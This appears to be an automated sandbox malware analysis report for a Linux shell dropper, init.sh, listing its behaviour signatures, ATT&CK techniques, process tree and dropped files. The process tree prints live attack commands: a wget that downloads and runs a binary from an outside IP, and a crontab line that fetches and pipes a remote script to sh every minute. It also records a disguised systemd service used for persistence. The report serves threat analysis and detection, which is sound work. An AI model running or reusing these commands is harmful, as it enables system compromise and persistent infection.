Overview

overview

7

Static

static

1

init.sh

ubuntu-18.04-amd64

7

init.sh

debian-9-armhf

7

init.sh

debian-9-mips

init.sh

debian-9-mipsel

Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/08/2026, 12:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    init.sh
  • Size 19KB
  • Sample260808-pg1hdadd82
  • SHA256 5fde2fa80caf7e335c08edee151094738fb1fffac73eab067d307cd8516407ca
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/init.sh
    /tmp/init.sh
    1⤵
    • Executes dropped EXE
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:1476
    • /bin/uname
      uname -m
      2⤵
        PID:1477
      • /usr/bin/id
        id -un
        2⤵
          PID:1478
        • /bin/date
          date "+%H:%M:%S"
          2⤵
            PID:1479
          • /bin/uname
            uname -m
            2⤵
              PID:1480
            • /bin/grep
              grep -c "^processor" /proc/cpuinfo
              2⤵
              • Checks CPU configuration
              PID:1482
            • /bin/date
              date "+%H:%M:%S"
              2⤵
                PID:1483
              • /bin/date
                date "+%H:%M:%S"
                2⤵
                  PID:1484
                • /bin/grep
                  grep -qiE "mips.*(el|little.endian)" /proc/cpuinfo
                  2⤵
                  • Checks CPU configuration
                  • System Network Configuration Discovery
                  PID:1485
                • /bin/date
                  date "+%H:%M:%S"
                  2⤵
                    PID:1486
                  • /bin/chmod
                    chmod +x /dev/shm/.exectest.1476
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1487
                  • /dev/shm/.exectest.1476
                    /dev/shm/.exectest.1476
                    2⤵
                      PID:1488
                    • /bin/rm
                      rm -f /dev/shm/.exectest.1476
                      2⤵
                        PID:1489
                      • /bin/date
                        date "+%H:%M:%S"
                        2⤵
                          PID:1490
                        • /bin/date
                          date "+%H:%M:%S"
                          2⤵
                            PID:1491
                          • /usr/bin/wget
                            wget -q -T 10 --no-check-certificate http://181.214.140.248/bins/kworkerd -O /dev/shm/.d
                            2⤵
                            • Writes file to shm directory
                            PID:1492
                          • /usr/bin/wc
                            wc -c
                            2⤵
                              PID:1497
                            • /bin/date
                              date "+%H:%M:%S"
                              2⤵
                                PID:1498
                              • /usr/bin/wc
                                wc -c
                                2⤵
                                  PID:1499
                                • /bin/dd
                                  dd "if=/dev/shm/.d" "bs=4" "count=1"
                                  2⤵
                                    PID:1500
                                  • /bin/chmod
                                    chmod +x /dev/shm/.d
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1502
                                  • /bin/date
                                    date "+%H:%M:%S"
                                    2⤵
                                      PID:1503
                                    • /bin/date
                                      date "+%H:%M:%S"
                                      2⤵
                                        PID:1505
                                      • /dev/shm/.d
                                        /dev/shm/.d
                                        2⤵
                                        • Deletes itself
                                        • Modifies Watchdog functionality
                                        • Creates/modifies Cron job
                                        • Enumerates active TCP sockets
                                        • Modifies systemd
                                        • Reads MAC address of network interface
                                        • Changes its process name
                                        • Checks CPU configuration
                                        • Reads system network configuration
                                        • Enumerates kernel/hardware configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:1504
                                        • /bin/sh
                                          sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                                          3⤵
                                            PID:1513
                                            • /bin/systemctl
                                              /bin/systemctl daemon-reload
                                              4⤵
                                              • Reads runtime system information
                                              PID:1514
                                          • /bin/sh
                                            sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                                            3⤵
                                              PID:1535
                                              • /bin/systemctl
                                                /bin/systemctl enable --now redis-sentinel.service
                                                4⤵
                                                  PID:1536
                                              • /bin/sh
                                                sh -c "/usr/bin/crontab -l 2>/dev/null"
                                                3⤵
                                                  PID:1557
                                                  • /usr/bin/crontab
                                                    /usr/bin/crontab -l
                                                    4⤵
                                                      PID:1558
                                                  • /bin/sh
                                                    sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1508 2>/dev/null && exit 0; (wget -qO- http://181.214.140.248/init.sh || curl -sL http://181.214.140.248/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                                    3⤵
                                                      PID:1559
                                                      • /usr/bin/crontab
                                                        /usr/bin/crontab -
                                                        4⤵
                                                        • Creates/modifies Cron job
                                                        PID:1560
                                                  • /bin/sleep
                                                    sleep 12
                                                    2⤵
                                                      PID:1506
                                                    • /bin/nc
                                                      nc -z 127.0.0.1 42780
                                                      2⤵
                                                        PID:1562
                                                      • /bin/date
                                                        date "+%H:%M:%S"
                                                        2⤵
                                                          PID:1563
                                                        • /bin/date
                                                          date "+%H:%M:%S"
                                                          2⤵
                                                            PID:1564
                                                          • /bin/date
                                                            date "+%H:%M:%S"
                                                            2⤵
                                                              PID:1565
                                                            • /bin/cat
                                                              cat /tmp/.deploy.log
                                                              2⤵
                                                                PID:1566
                                                              • /bin/rm
                                                                rm -f /tmp/init.sh
                                                                2⤵
                                                                  PID:1567

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Reconnaissance

                                                                    Resource Development

                                                                    Initial Access

                                                                    Execution

                                                                    Scheduled Task/Job

                                                                    1
                                                                    T1053

                                                                    Cron

                                                                    1
                                                                    T1053.003

                                                                    Persistence

                                                                    Boot or Logon Autostart Execution

                                                                    1
                                                                    T1547

                                                                    XDG Autostart Entries

                                                                    1
                                                                    T1547.013

                                                                    Create or Modify System Process

                                                                    1
                                                                    T1543

                                                                    Systemd Service

                                                                    1
                                                                    T1543.002

                                                                    Scheduled Task/Job

                                                                    1
                                                                    T1053

                                                                    Cron

                                                                    1
                                                                    T1053.003

                                                                    Privilege Escalation

                                                                    Boot or Logon Autostart Execution

                                                                    1
                                                                    T1547

                                                                    XDG Autostart Entries

                                                                    1
                                                                    T1547.013

                                                                    Create or Modify System Process

                                                                    1
                                                                    T1543

                                                                    Systemd Service

                                                                    1
                                                                    T1543.002

                                                                    Scheduled Task/Job

                                                                    1
                                                                    T1053

                                                                    Cron

                                                                    1
                                                                    T1053.003

                                                                    Defense Evasion

                                                                    File and Directory Permissions Modification

                                                                    1
                                                                    T1222

                                                                    Linux and Mac File and Directory Permissions Modification

                                                                    1
                                                                    T1222.002

                                                                    Impair Defenses

                                                                    1
                                                                    T1562

                                                                    Virtualization/Sandbox Evasion

                                                                    1
                                                                    T1497

                                                                    System Checks

                                                                    1
                                                                    T1497.001

                                                                    Credential Access

                                                                    Discovery

                                                                    System Information Discovery

                                                                    1
                                                                    T1082

                                                                    System Network Configuration Discovery

                                                                    3
                                                                    T1016

                                                                    Internet Connection Discovery

                                                                    1
                                                                    T1016.001

                                                                    Wi-Fi Discovery

                                                                    1
                                                                    T1016.002

                                                                    System Network Connections Discovery

                                                                    2
                                                                    T1049

                                                                    Virtualization/Sandbox Evasion

                                                                    1
                                                                    T1497

                                                                    System Checks

                                                                    1
                                                                    T1497.001

                                                                    Lateral Movement

                                                                    Collection

                                                                    Command and Control

                                                                    Exfiltration

                                                                    Impact

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    .d
                                                                    • Path /dev/shm/.d
                                                                    • Size 103KB
                                                                    • SHA256 4dc73565e310eac85d8b45786be0a4525d05725b20988ba6670b9344e6137d47
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    .exectest.1476
                                                                    • Path /dev/shm/.exectest.1476
                                                                    • Size 18B
                                                                    • SHA256 b4d644d4279594903f1a9911956432d9473041f2984fc6014c14d7402c7d126c
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    redis-sentinel.service
                                                                    • Path /etc/systemd/system/redis-sentinel.service
                                                                    • Size 348B
                                                                    • SHA256 2129f056a2d590e7889958ec6dc1cf4c577c9fd24865ffe66a07c94a2c3a9d89
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    .deploy.log
                                                                    • Path /tmp/.deploy.log
                                                                    • Size 56B
                                                                    • SHA256 2bdaf374823cd3317367bd2b5375c8b71a665e4fd69ee9b5b0cb4de187f492c0
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    .deploy.log
                                                                    • Path /tmp/.deploy.log
                                                                    • Size 116B
                                                                    • SHA256 0ee4dfad9c9f9ce4906e57b6fda36944faefa1d88f5c16050c7773ec4bdcad43
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    .deploy.log
                                                                    • Path /tmp/.deploy.log
                                                                    • Size 151B
                                                                    • SHA256 7e60da0caa338f50da21fde59c3f97c198e73bf242846bfd4ebe84aab0626ee7
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    .deploy.log
                                                                    • Path /tmp/.deploy.log
                                                                    • Size 192B
                                                                    • SHA256 4b6191e405fefaf5df086b40eb69aba3a6398318b15a4203a605db58b55b9646
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    .deploy.log
                                                                    • Path /tmp/.deploy.log
                                                                    • Size 541B
                                                                    • SHA256 267821b85357862d9a0d74529da0aca61af0dea8dc3cc2a97317e75460ad1e38
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    .redis-server.pid
                                                                    • Path /tmp/.redis-server.pid
                                                                    • Size 4B
                                                                    • SHA256 5b33003a928495b97792ac286d477b54dd20eb773c74ae2fb3653bc5950ad6dd
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    root
                                                                    • Path /var/spool/cron/crontabs/root
                                                                    • Size 172B
                                                                    • SHA256 11e93e743beb27a5053df263b33d672afef8e63d99ed8ed6f85e2eea6fd4d1e0
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    tmp.afx2CK
                                                                    • Path /var/spool/cron/crontabs/tmp.afx2CK
                                                                    • Size 347B
                                                                    • SHA256 707635d6e3805a0896fedc74f55c9a68365a9ee5ae26f00922f76c1b99fc45e6
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download